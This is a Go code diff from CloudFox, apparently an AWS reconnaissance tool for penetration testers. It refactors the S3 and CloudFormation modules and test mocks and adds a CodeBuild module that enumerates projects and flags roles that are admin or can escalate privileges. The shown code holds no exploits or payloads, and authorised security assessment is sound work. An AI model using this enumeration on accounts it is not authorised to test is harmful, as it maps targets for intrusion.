|
||||
if err != nil && !os.IsExist(err) {
|
||||
return fmt.Errorf("creating parent dirs: %s", err)
|
||||
}
|
||||
|
||||
return os.WriteFile(filename, []byte(policy), 0644)
|
||||
|
||||
}
|
||||
+79
-12
@@ -3,6 +3,8 @@ package aws
|
||||
import (
|
||||
"context"
|
||||
"log"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
@@ -11,13 +13,13 @@ import (
|
||||
"github.com/aws/aws-sdk-go-v2/service/s3"
|
||||
"github.com/aws/aws-sdk-go-v2/service/s3/types"
|
||||
"github.com/aws/aws-sdk-go-v2/service/sts"
|
||||
"github.com/spf13/afero"
|
||||
)
|
||||
|
||||
type MockedS3ListBuckets struct {
|
||||
AWSRegions []string
|
||||
type MockedS3Client struct {
|
||||
}
|
||||
|
||||
func (m *MockedS3ListBuckets) ListBuckets(ctx context.Context, params *s3.ListBucketsInput, optFns ...func(*s3.Options)) (*s3.ListBucketsOutput, error) {
|
||||
func (m *MockedS3Client) ListBuckets(ctx context.Context, params *s3.ListBucketsInput, optFns ...func(*s3.Options)) (*s3.ListBucketsOutput, error) {
|
||||
buckets := make([]types.Bucket, 1)
|
||||
mockBucket := types.Bucket{
|
||||
CreationDate: aws.Time(time.Now()),
|
||||
@@ -31,7 +33,59 @@ func (m *MockedS3ListBuckets) ListBuckets(ctx context.Context, params *s3.ListBu
|
||||
|
||||
}
|
||||
|
||||
func (m *MockedS3Client) GetBucketPolicy(ctx context.Context, params *s3.GetBucketPolicyInput, optFns ...func(*s3.Options)) (*s3.GetBucketPolicyOutput, error) {
|
||||
bucketPolicy := `{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "AddPerm",
|
||||
"Effect": "Allow",
|
||||
"Principal": "*",
|
||||
"Action": "s3:GetObject",
|
||||
"Resource": "arn:aws:s3:::examplebucket/*"
|
||||
}
|
||||
]
|
||||
}`
|
||||
output := &s3.GetBucketPolicyOutput{
|
||||
Policy: aws.String(bucketPolicy),
|
||||
}
|
||||
return output, nil
|
||||
}
|
||||
|
||||
func (m *MockedS3Client) GetBucketLocation(ctx context.Context, params *s3.GetBucketLocationInput, optFns ...func(*s3.Options)) (*s3.GetBucketLocationOutput, error) {
|
||||
locationConstraint := types.BucketLocationConstraint("us-east-2")
|
||||
output := &s3.GetBucketLocationOutput{
|
||||
LocationConstraint: locationConstraint,
|
||||
}
|
||||
return output, nil
|
||||
}
|
||||
|
||||
func (m *MockedS3Client) GetPublicAccessBlock(ctx context.Context, params *s3.GetPublicAccessBlockInput, optFns ...func(*s3.Options)) (*s3.GetPublicAccessBlockOutput, error) {
|
||||
output := &s3.GetPublicAccessBlockOutput{
|
||||
PublicAccessBlockConfiguration: &types.PublicAccessBlockConfiguration{
|
||||
BlockPublicAcls: true,
|
||||
BlockPublicPolicy: true,
|
||||
IgnorePublicAcls: false,
|
||||
RestrictPublicBuckets: true,
|
||||
},
|
||||
}
|
||||
return output, nil
|
||||
}
|
||||
|
||||
func TestListBuckets(t *testing.T) {
|
||||
|
||||
m := BucketsModule{
|
||||
|
||||
S3Client: &MockedS3Client{},
|
||||
Caller: sts.GetCallerIdentityOutput{
|
||||
Arn: aws.String("arn:aws:iam::123456789012:user/cloudfox_unit_tests"),
|
||||
Account: aws.String("123456789012"),
|
||||
},
|
||||
AWSRegions: []string{"us-east-1", "us-west-1", "us-west-2"},
|
||||
AWSProfile: "unittesting",
|
||||
Goroutines: 3,
|
||||
}
|
||||
|
||||
subtests := []struct {
|
||||
name string
|
||||
outputDirectory string
|
||||
@@ -43,25 +97,38 @@ func TestListBuckets(t *testing.T) {
|
||||
name: "test1",
|
||||
outputDirectory: ".",
|
||||
verbosity: 2,
|
||||
testModule: BucketsModule{
|
||||
S3ClientListBucketsInterface: &MockedS3ListBuckets{},
|
||||
Caller: sts.GetCallerIdentityOutput{Arn: aws.String("test")},
|
||||
OutputFormat: "table",
|
||||
AWSProfile: "test",
|
||||
Goroutines: 30,
|
||||
AWSRegions: AWSRegions,
|
||||
},
|
||||
testModule: m,
|
||||
expectedResult: []Bucket{{
|
||||
Name: "mockBucket123",
|
||||
}},
|
||||
},
|
||||
}
|
||||
|
||||
internal.MockFileSystem(true)
|
||||
fs := internal.MockFileSystem(true)
|
||||
defer internal.MockFileSystem(false)
|
||||
tmpDir := "."
|
||||
|
||||
for _, subtest := range subtests {
|
||||
t.Run(subtest.name, func(t *testing.T) {
|
||||
subtest.testModule.PrintBuckets(subtest.testModule.OutputFormat, subtest.outputDirectory, subtest.verbosity)
|
||||
for index, expectedBucket := range subtest.expectedResult {
|
||||
resultsFilePath := filepath.Join(tmpDir, "cloudfox-output/aws/123456789012-unittesting/table/buckets.txt")
|
||||
resultsFile, err := afero.ReadFile(fs, resultsFilePath)
|
||||
if err != nil {
|
||||
t.Fatalf("Cannot read output file at %s: %s", resultsFilePath, err)
|
||||
}
|
||||
|
||||
expectedResults := strings.TrimLeft(`
|
||||
╭───────────────┬───────────┬─────────┬───────────────────────────╮
|
||||
│ Name │ Region │ Public? │ Resource Policy Summary │
|
||||
├───────────────┼───────────┼─────────┼───────────────────────────┤
|
||||
│ mockBucket123 │ us-east-2 │ YES │ Everyone can s3:GetObject │
|
||||
╰───────────────┴───────────┴─────────┴───────────────────────────╯
|
||||
`, "\n")
|
||||
if string(resultsFile) != expectedResults {
|
||||
t.Fatalf("Unexpected results:\n%s\n", resultsFile)
|
||||
}
|
||||
|
||||
if expectedBucket.Name != subtest.testModule.Buckets[index].Name {
|
||||
log.Fatal("Bucket name does not match expected name")
|
||||
}
|
||||
|
||||
@@ -0,0 +1,126 @@
|
||||
package aws
|
||||
|
||||
import (
|
||||
"github.com/BishopFox/cloudfox/aws/sdk"
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
"github.com/aws/aws-sdk-go-v2/service/codebuild"
|
||||
"github.com/aws/aws-sdk-go-v2/service/ecr"
|
||||
"github.com/aws/aws-sdk-go-v2/service/efs"
|
||||
"github.com/aws/aws-sdk-go-v2/service/fsx"
|
||||
"github.com/aws/aws-sdk-go-v2/service/lambda"
|
||||
"github.com/aws/aws-sdk-go-v2/service/organizations"
|
||||
"github.com/aws/aws-sdk-go-v2/service/s3"
|
||||
"github.com/aws/aws-sdk-go-v2/service/sns"
|
||||
"github.com/aws/aws-sdk-go-v2/service/sqs"
|
||||
"github.com/aws/aws-sdk-go-v2/service/sts"
|
||||
)
|
||||
|
||||
func initIAMSimClient(iamSimPPClient sdk.AWSIAMClientInterface, caller sts.GetCallerIdentityOutput, AWSProfile string, Goroutines int) IamSimulatorModule {
|
||||
|
||||
iamSimMod := IamSimulatorModule{
|
||||
IAMClient: iamSimPPClient,
|
||||
Caller: caller,
|
||||
AWSProfile: AWSProfile,
|
||||
Goroutines: Goroutines,
|
||||
}
|
||||
|
||||
return iamSimMod
|
||||
|
||||
}
|
||||
|
||||
func InitCloudFoxSNSClient(caller sts.GetCallerIdentityOutput, AWSProfile string, cfVersion string, Goroutines int, AWSWrapTable bool) SNSModule {
|
||||
var AWSConfig = internal.AWSConfigFileLoader(AWSProfile, cfVersion)
|
||||
cloudFoxSNSClient := SNSModule{
|
||||
SNSClient: sns.NewFromConfig(AWSConfig),
|
||||
Caller: caller,
|
||||
AWSProfile: AWSProfile,
|
||||
AWSRegions: internal.GetEnabledRegions(AWSProfile, cfVersion),
|
||||
Goroutines: Goroutines,
|
||||
WrapTable: AWSWrapTable,
|
||||
}
|
||||
return cloudFoxSNSClient
|
||||
|
||||
}
|
||||
|
||||
func initCloudFoxS3Client(caller sts.GetCallerIdentityOutput, AWSProfile string, cfVersion string) BucketsModule {
|
||||
var AWSConfig = internal.AWSConfigFileLoader(AWSProfile, cfVersion)
|
||||
cloudFoxS3Client := BucketsModule{
|
||||
S3Client: s3.NewFromConfig(AWSConfig),
|
||||
Caller: caller,
|
||||
AWSProfile: AWSProfile,
|
||||
AWSRegions: internal.GetEnabledRegions(AWSProfile, cfVersion),
|
||||
}
|
||||
return cloudFoxS3Client
|
||||
|
||||
}
|
||||
|
||||
func InitSQSClient(caller sts.GetCallerIdentityOutput, AWSProfile string, cfVersion string, Goroutines int) SQSModule {
|
||||
var AWSConfig = internal.AWSConfigFileLoader(AWSProfile, cfVersion)
|
||||
sqsClient := SQSModule{
|
||||
SQSClient: sqs.NewFromConfig(AWSConfig),
|
||||
|
||||
Caller: caller,
|
||||
AWSRegions: internal.GetEnabledRegions(AWSProfile, cfVersion),
|
||||
AWSProfile: AWSProfile,
|
||||
Goroutines: Goroutines,
|
||||
}
|
||||
|
||||
return sqsClient
|
||||
|
||||
}
|
||||
|
||||
func InitLambdaClient(caller sts.GetCallerIdentityOutput, AWSProfile string, cfVersion string, Goroutines int) LambdasModule {
|
||||
var AWSConfig = internal.AWSConfigFileLoader(AWSProfile, cfVersion)
|
||||
lambdaClient := LambdasModule{
|
||||
LambdaClient: lambda.NewFromConfig(AWSConfig),
|
||||
Caller: caller,
|
||||
AWSProfile: AWSProfile,
|
||||
AWSRegions: internal.GetEnabledRegions(AWSProfile, cfVersion),
|
||||
}
|
||||
return lambdaClient
|
||||
}
|
||||
|
||||
func InitCodeBuildClient(caller sts.GetCallerIdentityOutput, AWSProfile string, cfVersion string, Goroutines int) CodeBuildModule {
|
||||
var AWSConfig = internal.AWSConfigFileLoader(AWSProfile, cfVersion)
|
||||
codeBuildClient := CodeBuildModule{
|
||||
CodeBuildClient: codebuild.NewFromConfig(AWSConfig),
|
||||
Caller: caller,
|
||||
AWSProfile: AWSProfile,
|
||||
AWSRegions: internal.GetEnabledRegions(AWSProfile, cfVersion),
|
||||
}
|
||||
return codeBuildClient
|
||||
}
|
||||
|
||||
func InitECRClient(caller sts.GetCallerIdentityOutput, AWSProfile string, cfVersion string, Goroutines int) ECRModule {
|
||||
var AWSConfig = internal.AWSConfigFileLoader(AWSProfile, cfVersion)
|
||||
ecrClient := ECRModule{
|
||||
ECRClient: ecr.NewFromConfig(AWSConfig),
|
||||
Caller: caller,
|
||||
AWSProfile: AWSProfile,
|
||||
AWSRegions: internal.GetEnabledRegions(AWSProfile, cfVersion),
|
||||
}
|
||||
return ecrClient
|
||||
}
|
||||
|
||||
func InitFileSystemsClient(caller sts.GetCallerIdentityOutput, AWSProfile string, cfVersion string, Goroutines int) FilesystemsModule {
|
||||
var AWSConfig = internal.AWSConfigFileLoader(AWSProfile, cfVersion)
|
||||
fileSystemsClient := FilesystemsModule{
|
||||
EFSClient: efs.NewFromConfig(AWSConfig),
|
||||
FSxClient: fsx.NewFromConfig(AWSConfig),
|
||||
Caller: caller,
|
||||
AWSProfile: AWSProfile,
|
||||
AWSRegions: internal.GetEnabledRegions(AWSProfile, cfVersion),
|
||||
}
|
||||
return fileSystemsClient
|
||||
}
|
||||
|
||||
func InitOrgClient(caller sts.GetCallerIdentityOutput, AWSProfile string, cfVersion string, Goroutines int) OrgModule {
|
||||
var AWSConfig = internal.AWSConfigFileLoader(AWSProfile, cfVersion)
|
||||
orgClient := OrgModule{
|
||||
OrganizationsClient: organizations.NewFromConfig(AWSConfig),
|
||||
Caller: caller,
|
||||
AWSProfile: AWSProfile,
|
||||
AWSRegions: internal.GetEnabledRegions(AWSProfile, cfVersion),
|
||||
}
|
||||
return orgClient
|
||||
}
|
||||
+24
-71
@@ -1,29 +1,24 @@
|
||||
package aws
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strconv"
|
||||
"sync"
|
||||
|
||||
"github.com/BishopFox/cloudfox/aws/sdk"
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
"github.com/aws/aws-sdk-go-v2/aws"
|
||||
"github.com/aws/aws-sdk-go-v2/service/cloudformation"
|
||||
"github.com/aws/aws-sdk-go-v2/service/cloudformation/types"
|
||||
"github.com/aws/aws-sdk-go-v2/service/sts"
|
||||
"github.com/bishopfox/awsservicemap"
|
||||
"github.com/sirupsen/logrus"
|
||||
)
|
||||
|
||||
type CloudFormationGetTemplateAPIClient interface {
|
||||
GetTemplate(context.Context, *cloudformation.GetTemplateInput, ...func(*cloudformation.Options)) (*cloudformation.GetTemplateOutput, error)
|
||||
}
|
||||
type CloudformationModule struct {
|
||||
// General configuration data
|
||||
CloudFormationDescribeStacksInterface cloudformation.DescribeStacksAPIClient
|
||||
CloudFormationGetTemplateInterface CloudFormationGetTemplateAPIClient
|
||||
CloudFormationClient sdk.CloudFormationClientInterface
|
||||
|
||||
Caller sts.GetCallerIdentityOutput
|
||||
AWSRegions []string
|
||||
@@ -135,11 +130,27 @@ func (m *CloudformationModule) PrintCloudformationStacks(outputFormat string, ou
|
||||
|
||||
}
|
||||
if len(m.output.Body) > 0 {
|
||||
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", m.AWSProfile)
|
||||
// m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", aws.ToString(m.Caller.Account),m.AWSProfile))
|
||||
//m.output.OutputSelector(outputFormat)
|
||||
//utils.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule)
|
||||
internal.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule, m.WrapTable, m.AWSProfile)
|
||||
m.writeLoot(m.output.FilePath, verbosity)
|
||||
//internal.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule, m.WrapTable, m.AWSProfile)
|
||||
|
||||
o := internal.OutputClient{
|
||||
Verbosity: verbosity,
|
||||
CallingModule: m.output.CallingModule,
|
||||
Table: internal.TableClient{
|
||||
Wrap: m.WrapTable,
|
||||
},
|
||||
}
|
||||
o.Table.TableFiles = append(o.Table.TableFiles, internal.TableFile{
|
||||
Header: m.output.Headers,
|
||||
Body: m.output.Body,
|
||||
Name: m.output.CallingModule,
|
||||
})
|
||||
o.PrefixIdentifier = m.AWSProfile
|
||||
o.Table.DirectoryName = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
|
||||
o.WriteFullOutput(o.Table.TableFiles, nil)
|
||||
m.writeLoot(o.Table.DirectoryName, verbosity)
|
||||
fmt.Printf("[%s][%s] %s cloudformation stacks found.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), strconv.Itoa(len(m.output.Body)))
|
||||
} else {
|
||||
fmt.Printf("[%s][%s] No cloudformation stacks found, skipping the creation of an output file.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
|
||||
@@ -150,7 +161,7 @@ func (m *CloudformationModule) PrintCloudformationStacks(outputFormat string, ou
|
||||
func (m *CloudformationModule) executeChecks(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan CFStack) {
|
||||
defer wg.Done()
|
||||
servicemap := &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "EMBEDDED_IN_PACKAGE",
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
}
|
||||
serviceRegions, err := servicemap.GetRegionsForService("cloudformation")
|
||||
if err != nil {
|
||||
@@ -251,7 +262,7 @@ func (m *CloudformationModule) createCFStackRowsPerRegion(r string, wg *sync.Wai
|
||||
}()
|
||||
var stackTemplateBody string = ""
|
||||
|
||||
DescribeStacks, err := m.describeStacks(r)
|
||||
DescribeStacks, err := sdk.CachedCloudFormationDescribeStacks(m.CloudFormationClient, aws.ToString(m.Caller.Account), r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
@@ -263,7 +274,7 @@ func (m *CloudformationModule) createCFStackRowsPerRegion(r string, wg *sync.Wai
|
||||
stackOutputs := stack.Outputs
|
||||
stackParameters := stack.Parameters
|
||||
|
||||
stackTemplateBody, err = m.getTemplateBody(r, stackName)
|
||||
stackTemplateBody, err = sdk.CachedCloudFormationGetTemplate(m.CloudFormationClient, aws.ToString(m.Caller.Account), r, stackName)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
@@ -281,61 +292,3 @@ func (m *CloudformationModule) createCFStackRowsPerRegion(r string, wg *sync.Wai
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
func (m *CloudformationModule) describeStacks(r string) ([]types.Stack, error) {
|
||||
|
||||
// "PaginationMarker" is a control variable used for output continuity, as AWS return the output in pages.
|
||||
var PaginationControl *string
|
||||
var stacks []types.Stack
|
||||
|
||||
for {
|
||||
DescribeStacks, err := m.CloudFormationDescribeStacksInterface.DescribeStacks(
|
||||
context.TODO(),
|
||||
&cloudformation.DescribeStacksInput{
|
||||
NextToken: PaginationControl,
|
||||
},
|
||||
func(o *cloudformation.Options) {
|
||||
o.Region = r
|
||||
},
|
||||
)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
return stacks, err
|
||||
}
|
||||
|
||||
stacks = append(stacks, DescribeStacks.Stacks...)
|
||||
|
||||
// The "NextToken" value is nil when there's no more data to return.
|
||||
if DescribeStacks.NextToken != nil {
|
||||
PaginationControl = DescribeStacks.NextToken
|
||||
} else {
|
||||
PaginationControl = nil
|
||||
break
|
||||
}
|
||||
}
|
||||
return stacks, nil
|
||||
}
|
||||
|
||||
func (m *CloudformationModule) getTemplateBody(r string, stackName string) (string, error) {
|
||||
|
||||
var stackTemplateBody string
|
||||
GetTemplate, err := m.CloudFormationGetTemplateInterface.GetTemplate(
|
||||
context.TODO(),
|
||||
&cloudformation.GetTemplateInput{
|
||||
StackName: &stackName,
|
||||
},
|
||||
func(o *cloudformation.Options) {
|
||||
o.Region = r
|
||||
},
|
||||
)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
return stackTemplateBody, err
|
||||
}
|
||||
|
||||
stackTemplateBody = aws.ToString(GetTemplate.TemplateBody)
|
||||
|
||||
return stackTemplateBody, nil
|
||||
}
|
||||
+14
-14
@@ -38,15 +38,12 @@ type TemplateBody struct {
|
||||
TemplateBody string `json:"TemplateBody"`
|
||||
}
|
||||
|
||||
type MockedCloudformationClientDescribeStacks struct {
|
||||
describeStacks Stacks
|
||||
}
|
||||
|
||||
type MockedCloudformationClientGetTemplate struct {
|
||||
type MockedCloudformationClient struct {
|
||||
describeStacks Stacks
|
||||
getTemplateBody TemplateBody
|
||||
}
|
||||
|
||||
func (m *MockedCloudformationClientDescribeStacks) DescribeStacks(ctx context.Context, params *cloudformation.DescribeStacksInput, optFns ...func(*cloudformation.Options)) (*cloudformation.DescribeStacksOutput, error) {
|
||||
func (m *MockedCloudformationClient) DescribeStacks(ctx context.Context, params *cloudformation.DescribeStacksInput, optFns ...func(*cloudformation.Options)) (*cloudformation.DescribeStacksOutput, error) {
|
||||
|
||||
err := json.Unmarshal(readTestFile(DESCRIBE_STACKS_TEST_FILE), &m.describeStacks)
|
||||
if err != nil {
|
||||
@@ -66,7 +63,7 @@ func (m *MockedCloudformationClientDescribeStacks) DescribeStacks(ctx context.Co
|
||||
return &cloudformation.DescribeStacksOutput{Stacks: stacks}, nil
|
||||
}
|
||||
|
||||
func (m *MockedCloudformationClientGetTemplate) GetTemplate(ctx context.Context, params *cloudformation.GetTemplateInput, optFns ...func(*cloudformation.Options)) (*cloudformation.GetTemplateOutput, error) {
|
||||
func (m *MockedCloudformationClient) GetTemplate(ctx context.Context, params *cloudformation.GetTemplateInput, optFns ...func(*cloudformation.Options)) (*cloudformation.GetTemplateOutput, error) {
|
||||
err := json.Unmarshal(readTestFile(DESCRIBE_STACKS_TEST_FILE), &m.getTemplateBody)
|
||||
if err != nil {
|
||||
log.Fatalf("can't unmarshall file %s", TEMPLATE_BODY_TEST_FILE)
|
||||
@@ -75,6 +72,10 @@ func (m *MockedCloudformationClientGetTemplate) GetTemplate(ctx context.Context,
|
||||
return &cloudformation.GetTemplateOutput{TemplateBody: &m.getTemplateBody.TemplateBody}, nil
|
||||
}
|
||||
|
||||
func (m *MockedCloudformationClient) ListStacks(ctx context.Context, params *cloudformation.ListStacksInput, optFns ...func(*cloudformation.Options)) (*cloudformation.ListStacksOutput, error) {
|
||||
return &cloudformation.ListStacksOutput{}, nil
|
||||
}
|
||||
|
||||
func TestCloudFormation(t *testing.T) {
|
||||
subtests := []struct {
|
||||
name string
|
||||
@@ -88,13 +89,12 @@ func TestCloudFormation(t *testing.T) {
|
||||
outputDirectory: ".",
|
||||
verbosity: 2,
|
||||
testModule: CloudformationModule{
|
||||
CloudFormationDescribeStacksInterface: &MockedCloudformationClientDescribeStacks{},
|
||||
CloudFormationGetTemplateInterface: &MockedCloudformationClientGetTemplate{},
|
||||
Caller: sts.GetCallerIdentityOutput{Arn: aws.String("test")},
|
||||
OutputFormat: "table",
|
||||
AWSProfile: "test",
|
||||
Goroutines: 30,
|
||||
AWSRegions: AWSRegions,
|
||||
CloudFormationClient: &MockedCloudformationClient{},
|
||||
Caller: sts.GetCallerIdentityOutput{Arn: aws.String("test")},
|
||||
OutputFormat: "table",
|
||||
AWSProfile: "test",
|
||||
Goroutines: 30,
|
||||
AWSRegions: AWSRegions,
|
||||
},
|
||||
expectedResult: []CFStack{{
|
||||
Name: "myteststack",
|
||||
|
||||
@@ -0,0 +1,252 @@
|
||||
package aws
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"path/filepath"
|
||||
"sync"
|
||||
|
||||
"github.com/BishopFox/cloudfox/aws/sdk"
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
"github.com/aws/aws-sdk-go-v2/aws"
|
||||
"github.com/aws/aws-sdk-go-v2/service/sts"
|
||||
"github.com/bishopfox/awsservicemap"
|
||||
"github.com/sirupsen/logrus"
|
||||
)
|
||||
|
||||
type CodeBuildModule struct {
|
||||
// General configuration data
|
||||
CodeBuildClient sdk.CodeBuildClientInterface
|
||||
IAMClient sdk.AWSIAMClientInterface
|
||||
|
||||
Caller sts.GetCallerIdentityOutput
|
||||
AWSRegions []string
|
||||
OutputFormat string
|
||||
Goroutines int
|
||||
AWSProfile string
|
||||
SkipAdminCheck bool
|
||||
WrapTable bool
|
||||
pmapperMod PmapperModule
|
||||
pmapperError error
|
||||
iamSimClient IamSimulatorModule
|
||||
|
||||
// Main module data
|
||||
Projects []Project
|
||||
CommandCounter internal.CommandCounter
|
||||
// Used to store output data for pretty printing
|
||||
output internal.OutputData2
|
||||
modLog *logrus.Entry
|
||||
}
|
||||
|
||||
type Project struct {
|
||||
Region string
|
||||
Name string
|
||||
Arn string
|
||||
Role string
|
||||
Admin string
|
||||
CanPrivEsc string
|
||||
}
|
||||
|
||||
func (m *CodeBuildModule) PrintCodeBuildProjects(outputFormat string, outputDirectory string, verbosity int) {
|
||||
// These stuct values are used by the output module
|
||||
m.output.Verbosity = verbosity
|
||||
m.output.Directory = outputDirectory
|
||||
m.output.CallingModule = "codebuild"
|
||||
localAdminMap := make(map[string]bool)
|
||||
|
||||
m.modLog = internal.TxtLog.WithFields(logrus.Fields{
|
||||
"module": m.output.CallingModule,
|
||||
})
|
||||
if m.AWSProfile == "" {
|
||||
m.AWSProfile = internal.BuildAWSPath(m.Caller)
|
||||
}
|
||||
|
||||
fmt.Printf("[%s][%s] Enumerating CodeBuild projects for account %s.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), aws.ToString(m.Caller.Account))
|
||||
m.pmapperMod, m.pmapperError = initPmapperGraph(m.Caller, m.AWSProfile, m.Goroutines)
|
||||
m.iamSimClient = initIAMSimClient(m.IAMClient, m.Caller, m.AWSProfile, m.Goroutines)
|
||||
|
||||
wg := new(sync.WaitGroup)
|
||||
semaphore := make(chan struct{}, m.Goroutines)
|
||||
|
||||
// Create a channel to signal the spinner aka task status goroutine to finish
|
||||
spinnerDone := make(chan bool)
|
||||
//fire up the the task status spinner/updated
|
||||
go internal.SpinUntil(m.output.CallingModule, &m.CommandCounter, spinnerDone, "regions")
|
||||
|
||||
//create a channel to receive the objects
|
||||
dataReceiver := make(chan Project)
|
||||
|
||||
// Create a channel to signal to stop
|
||||
receiverDone := make(chan bool)
|
||||
|
||||
go m.Receiver(dataReceiver, receiverDone)
|
||||
|
||||
for _, region := range m.AWSRegions {
|
||||
wg.Add(1)
|
||||
m.CommandCounter.Pending++
|
||||
go m.executeChecks(region, wg, semaphore, dataReceiver)
|
||||
|
||||
}
|
||||
|
||||
wg.Wait()
|
||||
|
||||
// Send a message to the spinner goroutine to close the channel and stop
|
||||
spinnerDone <- true
|
||||
<-spinnerDone
|
||||
receiverDone <- true
|
||||
<-receiverDone
|
||||
|
||||
// Perform role analysis
|
||||
if m.pmapperError == nil {
|
||||
for i := range m.Projects {
|
||||
m.Projects[i].Admin, m.Projects[i].CanPrivEsc = GetPmapperResults(m.SkipAdminCheck, m.pmapperMod, &m.Projects[i].Role)
|
||||
}
|
||||
} else {
|
||||
for i := range m.Projects {
|
||||
m.Projects[i].Admin, m.Projects[i].CanPrivEsc = GetIamSimResult(m.SkipAdminCheck, &m.Projects[i].Role, m.iamSimClient, localAdminMap)
|
||||
}
|
||||
}
|
||||
|
||||
// add - if struct is not empty do this. otherwise, dont write anything.
|
||||
if m.pmapperError == nil {
|
||||
m.output.Headers = []string{
|
||||
"Region",
|
||||
"Name",
|
||||
"Role",
|
||||
"IsAdminRole?",
|
||||
"CanPrivEscToAdmin?",
|
||||
}
|
||||
} else {
|
||||
m.output.Headers = []string{
|
||||
"Region",
|
||||
"Name",
|
||||
"Role",
|
||||
"IsAdminRole?",
|
||||
//"CanPrivEscToAdmin?",
|
||||
}
|
||||
}
|
||||
|
||||
// Table rows
|
||||
|
||||
for i := range m.Projects {
|
||||
if m.pmapperError == nil {
|
||||
m.output.Body = append(
|
||||
m.output.Body,
|
||||
[]string{
|
||||
m.Projects[i].Region,
|
||||
m.Projects[i].Name,
|
||||
m.Projects[i].Role,
|
||||
m.Projects[i].Admin,
|
||||
m.Projects[i].CanPrivEsc,
|
||||
},
|
||||
)
|
||||
} else {
|
||||
m.output.Body = append(
|
||||
m.output.Body,
|
||||
[]string{
|
||||
m.Projects[i].Region,
|
||||
m.Projects[i].Name,
|
||||
m.Projects[i].Role,
|
||||
m.Projects[i].Admin,
|
||||
},
|
||||
)
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
var seen []string
|
||||
for _, project := range m.Projects {
|
||||
if !internal.Contains(project.Name, seen) {
|
||||
seen = append(seen, project.Name)
|
||||
}
|
||||
}
|
||||
|
||||
if len(m.output.Body) > 0 {
|
||||
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
|
||||
//m.output.OutputSelector(outputFormat)
|
||||
//utils.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule)
|
||||
//internal.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule, m.WrapTable, m.AWSProfile)
|
||||
//m.writeLoot(m.output.FilePath, verbosity)
|
||||
//fmt.Printf("[%s][%s] %d projects with a total of %d node groups found.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), len(seen), len(m.output.Body))
|
||||
o := internal.OutputClient{
|
||||
Verbosity: verbosity,
|
||||
CallingModule: m.output.CallingModule,
|
||||
Table: internal.TableClient{
|
||||
Wrap: m.WrapTable,
|
||||
},
|
||||
}
|
||||
o.Table.TableFiles = append(o.Table.TableFiles, internal.TableFile{
|
||||
Header: m.output.Headers,
|
||||
Body: m.output.Body,
|
||||
Name: m.output.CallingModule,
|
||||
})
|
||||
o.PrefixIdentifier = m.AWSProfile
|
||||
o.Table.DirectoryName = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
|
||||
o.WriteFullOutput(o.Table.TableFiles, nil)
|
||||
//m.writeLoot(o.Table.DirectoryName, verbosity)
|
||||
fmt.Printf("[%s][%s] %d projects found.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), len(m.output.Body))
|
||||
fmt.Printf("[%s][%s] For context and next steps: https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#%s\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), m.output.CallingModule)
|
||||
|
||||
} else {
|
||||
fmt.Printf("[%s][%s] No projects found, skipping the creation of an output file.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
func (m *CodeBuildModule) executeChecks(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Project) {
|
||||
defer wg.Done()
|
||||
|
||||
servicemap := &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
}
|
||||
res, err := servicemap.IsServiceInRegion("codebuild", r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err)
|
||||
}
|
||||
if res {
|
||||
m.CommandCounter.Total++
|
||||
wg.Add(1)
|
||||
m.getcodeBuildProjectsPerRegion(r, wg, semaphore, dataReceiver)
|
||||
}
|
||||
}
|
||||
|
||||
func (m *CodeBuildModule) Receiver(receiver chan Project, receiverDone chan bool) {
|
||||
defer close(receiverDone)
|
||||
for {
|
||||
select {
|
||||
case data := <-receiver:
|
||||
m.Projects = append(m.Projects, data)
|
||||
case <-receiverDone:
|
||||
receiverDone <- true
|
||||
return
|
||||
}
|
||||
}
|
||||
